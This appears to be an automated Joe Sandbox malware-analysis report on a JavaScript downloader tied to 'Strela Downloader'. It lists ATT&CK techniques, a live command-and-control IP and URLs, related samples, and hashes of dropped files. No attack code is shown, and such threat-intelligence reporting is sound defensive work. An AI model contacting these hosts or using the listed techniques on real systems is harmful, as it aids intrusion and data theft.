Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7605302032554420656.js	3%	Virustotal		Browse
7605302032554420656.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/W-W	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2220161174.0000026F13F38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2225238262.000001CE4EC80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3424013548.000001CE4EE0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/W-W	net.exe, 00000007.00000003.2219431079.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2220220205.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2220161174.0000026F13F38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#-	net.exe, 00000007.00000003.2219431079.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2220220205.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587859
Start date and time:	2025-01-10 18:40:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7605302032554420656.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 23.57.90.76, 23.57.90.79, 23.57.90.69, 23.57.90.72, 23.57.90.81, 23.57.90.74, 23.57.90.68, 23.57.90.71, 23.57.90.70, 13.107.246.45, 20.12.23.50, 23.206.252.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:40:58	API Interceptor	20x Sleep call for process: powershell.exe modified
12:41:01	API Interceptor	1x Sleep call for process: net.exe modified
12:41:02	API Interceptor	2x Sleep call for process: svchost.exe modified
12:41:14	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263186472496588
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0K:9JZj5MiKNnNhoxuT
MD5:	3A3978D31E4F46BB5AF8CF4BE47BF545
SHA1:	DAD416CF7D38A680BE6E2C4033921164AC8F27DF
SHA-256:	D27071695D2448FF8970A10947161FEA067FE03831FA5FC71BE96F5CEAFEB5E7
SHA-512:	F1ADC9DAA68B83CA8A867AE32C7DC2371BEEB8EB40BCA983E1E317E8DCD1B31389395DB602E29DAB1DD2D9D03925AFF35232095D6DD707BF10931F5C2A05F0C8
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x54cf5f9b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555893173861207
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	D3EFFF1610682EDCAA3BF525CA68F988
SHA1:	23241E48AA8C2059A9D8BAA597082CF774BD2A9B
SHA-256:	E1DD112F58AA025496158231D253D3716BD06D72E7898BAC69227F2FF9B1F1B5
SHA-512:	65029BEB4E2A0488B750B3620AC452C123B2A42AD7BAD19C8FC5530EB7785086A008E5C21E5B0602BE59115DD7F1BEF69EFFAEA8AE2C11D23EED5437EE1649A2
Malicious:	false
Preview:	T._.... .......7.......X\...;...{......................0.e......!...{?..)...}w.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.......................................)...}.................T....)...}w..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07973513345857716
Encrypted:	false
SSDEEP:	3:PMeGEYeQe0cvfNaAPaU1lAUnM08l//lalluxmO+l/SNxOf:nGEzT0ENDPaU4UMjlXAgmOH
MD5:	3ABB1D3C74FE702CC76DD4C1160D471E
SHA1:	8166EC9490125CEF4D79834F0AD446BF58412268
SHA-256:	9A758A213FDBE119408562F68EBFC20035AEF1C2C137B9FDBFFE33B792E5305B
SHA-512:	D9C0E0B89CDF4526E3BD899DE3F83E3D70171E4EDB71BB9617A65B750E635FD8959744750ECB3B4566D67EBE8284C7E933A8BB5CA52C562751D20AFD8B094A7A
Malicious:	false
Preview:	/1i......................................;...{...)...}w..!...{?..........!...{?..!...{?..g...!...{?.................T....)...}w.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.079282786651823
Encrypted:	false
SSDEEP:	6:iO4UJjL+q2PN72nKuAl9OmbnIFUtSUSUDKWZmwsUSUVLVkwON72nKuAl9OmbjLJ:7XL+vVaHAahFUtjWW/BVLV5OaHAaSJ
MD5:	3A166B105D894AD0BB89CE364C4CA9BC
SHA1:	BD1D1C6729C5EC1C4426D21418E69CC3C16BD33D
SHA-256:	1AB5D0D757643E0E88A37C1E6413F17DE0DD11F4F28E0A5A7A18113C99BE265B
SHA-512:	6043B9262EFF04B8BABEE54DCC78EF11D4E67FFD88935885997544BC62DF2E5DADE3AAC7AC3ED80426967777D7C09C0B8A580443DA5F14781886EA0AB49A434E
Malicious:	false
Preview:	2025/01/10-12:41:02.418 105c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:41:02.421 105c Recovering log #3.2025/01/10-12:41:02.421 105c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.079282786651823
Encrypted:	false
SSDEEP:	6:iO4UJjL+q2PN72nKuAl9OmbnIFUtSUSUDKWZmwsUSUVLVkwON72nKuAl9OmbjLJ:7XL+vVaHAahFUtjWW/BVLV5OaHAaSJ
MD5:	3A166B105D894AD0BB89CE364C4CA9BC
SHA1:	BD1D1C6729C5EC1C4426D21418E69CC3C16BD33D
SHA-256:	1AB5D0D757643E0E88A37C1E6413F17DE0DD11F4F28E0A5A7A18113C99BE265B
SHA-512:	6043B9262EFF04B8BABEE54DCC78EF11D4E67FFD88935885997544BC62DF2E5DADE3AAC7AC3ED80426967777D7C09C0B8A580443DA5F14781886EA0AB49A434E
Malicious:	false
Preview:	2025/01/10-12:41:02.418 105c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:41:02.421 105c Recovering log #3.2025/01/10-12:41:02.421 105c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.101940539928051
Encrypted:	false
SSDEEP:	6:iO4Ubq2PN72nKuAl9Ombzo2jMGIFUtSUxJZmwsUxDkwON72nKuAl9Ombzo2jMmLJ:7tvVaHAa8uFUtH/b5OaHAa8RJ
MD5:	545577A75C14B707578DAAC2E88ED78B
SHA1:	6200BEBF6B5139ECA8F3BF8588CA702D30AFB98A
SHA-256:	EF4505CC6BD454BB4A647F74CE53F4E6B392F94E37685F7A4C4C94103B787994
SHA-512:	62887AF4D6EDF8F0B0DF8EB2C4D9D7C0B9747DFA061306B30A15411540396D58EF2E38B660B357E7FBE7AC30F99D5B8DFE606E511600441ED06AEA76303503D2
Malicious:	false
Preview:	2025/01/10-12:41:02.492 ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:41:02.493 ea4 Recovering log #3.2025/01/10-12:41:02.493 ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.101940539928051
Encrypted:	false
SSDEEP:	6:iO4Ubq2PN72nKuAl9Ombzo2jMGIFUtSUxJZmwsUxDkwON72nKuAl9Ombzo2jMmLJ:7tvVaHAa8uFUtH/b5OaHAa8RJ
MD5:	545577A75C14B707578DAAC2E88ED78B
SHA1:	6200BEBF6B5139ECA8F3BF8588CA702D30AFB98A
SHA-256:	EF4505CC6BD454BB4A647F74CE53F4E6B392F94E37685F7A4C4C94103B787994
SHA-512:	62887AF4D6EDF8F0B0DF8EB2C4D9D7C0B9747DFA061306B30A15411540396D58EF2E38B660B357E7FBE7AC30F99D5B8DFE606E511600441ED06AEA76303503D2
Malicious:	false
Preview:	2025/01/10-12:41:02.492 ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:41:02.493 ea4 Recovering log #3.2025/01/10-12:41:02.493 ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\091b49b0-4920-41c4-87a3-55a728e336ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.976171851646908
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2hsBdOg2H1caq3QYiubcP7E4T3y:Y2sRdsFydMH03QYhbA7nby
MD5:	313DD1C6B41DD96EEB4F186D58CFCFC3
SHA1:	296DD44E9458E02A1EF962EBC14AE12DCFB2D131
SHA-256:	46111D505853304DC7C553268D37C88D481793587DD7A7E52F53E48F4D5CF307
SHA-512:	1ECA699C01E142395558F5F7C48F81EE094606811A90290887087748D18C65C184A703542BC9951638B305B958338BCB843C7CC281DA125B1350DF38E6A1E68A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090874745006","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133655},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.976171851646908
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2hsBdOg2H1caq3QYiubcP7E4T3y:Y2sRdsFydMH03QYhbA7nby
MD5:	313DD1C6B41DD96EEB4F186D58CFCFC3
SHA1:	296DD44E9458E02A1EF962EBC14AE12DCFB2D131
SHA-256:	46111D505853304DC7C553268D37C88D481793587DD7A7E52F53E48F4D5CF307
SHA-512:	1ECA699C01E142395558F5F7C48F81EE094606811A90290887087748D18C65C184A703542BC9951638B305B958338BCB843C7CC281DA125B1350DF38E6A1E68A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090874745006","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133655},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25063543804935
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7LSqKh:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhM
MD5:	53803A85CB70B031C0FB9FC329ABE221
SHA1:	985A29934AD8E9144979BBE33DE66BF036F955A9
SHA-256:	E8F17080EE2E1A549A5F692F40E30DC2A2288F23A99AE4039BA7C9BC4FC38D8E
SHA-512:	819D50D294FF7EB6EE62DBBB6224EF7340AB057F2FE1C35B1E9C7E81E2952064F772505860452477E9E4DC1554D15291AAAE6A527BB6F468C010609DFD8103A2
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.106584101161307
Encrypted:	false
SSDEEP:	6:iO4U4Iq2PN72nKuAl9OmbzNMxIFUtS9tJZmwslDkwON72nKuAl9OmbzNMFLJ:7nvVaHAa8jFUt4J/C5OaHAa84J
MD5:	5FA061668D11FD372346CDF008BF104D
SHA1:	015982DE5DF6F87877200824BDBB03EA835280BC
SHA-256:	D6E9ACD4E7C6A845C58513524F5025A08A74DBF864598B42EE0A92570FFDA463
SHA-512:	F66E407B4B8CE02C69522291AD73094117D7DE5D959DE30509D70EA68B438127A2B38E388F40C66CBC5AD85847B3C4697DC6DFC44C3F58E5EB6F2A348287569D
Malicious:	false
Preview:	2025/01/10-12:41:02.894 ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:41:03.048 ea4 Recovering log #3.2025/01/10-12:41:03.051 ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.106584101161307
Encrypted:	false
SSDEEP:	6:iO4U4Iq2PN72nKuAl9OmbzNMxIFUtS9tJZmwslDkwON72nKuAl9OmbzNMFLJ:7nvVaHAa8jFUt4J/C5OaHAa84J
MD5:	5FA061668D11FD372346CDF008BF104D
SHA1:	015982DE5DF6F87877200824BDBB03EA835280BC
SHA-256:	D6E9ACD4E7C6A845C58513524F5025A08A74DBF864598B42EE0A92570FFDA463
SHA-512:	F66E407B4B8CE02C69522291AD73094117D7DE5D959DE30509D70EA68B438127A2B38E388F40C66CBC5AD85847B3C4697DC6DFC44C3F58E5EB6F2A348287569D
Malicious:	false
Preview:	2025/01/10-12:41:02.894 ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:41:03.048 ea4 Recovering log #3.2025/01/10-12:41:03.051 ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444618198560526
Encrypted:	false
SSDEEP:	384:ye6ci5ttiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mGs3OazzU89UTTgUL
MD5:	6CE35B22C874882B60871E0F8BB17306
SHA1:	C41F78118910A0EB192EA86B955CCA70EA50622F
SHA-256:	5816D3EE51D3A4CD177A8FE4A954A824260B42450E01879507BA36C13A169F64
SHA-512:	A6A42B36BB768A20B51A0F4E59EC2176C21FCFFAB10B7EC1BC15E9E3F493FB52C0FF0324BD415CA961864819750BB47FF9A9A66E3684995BB7F2271F6A7CAD0D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7642435412301842
Encrypted:	false
SSDEEP:	48:7MgJioyVxioypoy1C7oy16oy1XKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Of:7LJuxnmXjBiub9IVXEBodRBkj
MD5:	4883705B895F9329491076243F15D7D6
SHA1:	C9198F94ABF36FF309F1B7CA42DAAF15CF5B9FF1
SHA-256:	58D8136CA15C1EA2F0A8CD8B9B9BAED6956C34BCFD5BD7591C473EDFB99B0CC5
SHA-512:	548CA4CCD92AFA32FBFB9970FECEAB20AB53A7D54DD928E9D8BC356899C08155B86A424FF958CAA197D3817C562B6C8AC256F02033C129CC7A94488DAA8DA053
Malicious:	false
Preview:	.... .c......5r1...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i 